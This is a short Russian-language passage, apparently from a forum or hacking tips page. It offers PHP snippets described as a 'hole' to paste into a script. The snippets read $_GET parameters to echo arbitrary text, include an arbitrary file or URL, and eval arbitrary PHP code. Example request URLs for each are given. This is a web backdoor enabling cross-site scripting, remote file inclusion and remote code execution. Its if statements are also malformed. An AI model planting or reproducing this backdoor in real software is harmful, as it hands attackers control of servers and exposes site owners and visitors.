дырка, вставляем в скрипт и в нем будет дыра.
--Использывание--
if($_GET[\'act\'] == \"echo\"
{echo $_GET[\'echo\'];} . Используем так: страница.php?act=echo&echo=ваш_текст
, выведет на станице \"ваш_текст\".
if($_GET[\'act\'] == \"include\"
{include $_GET[\'include\'];} - includит файл, использывать так: станица.php?act=include&include=ссылка на файл.
if($_GET[\'act\'] == \"eval\"
{echo eval($_GET[\'eval\']);} - позволяет использывать php код.
пример: страница.php?act=eval&eval= echo \"test\"; выведет на станице слово test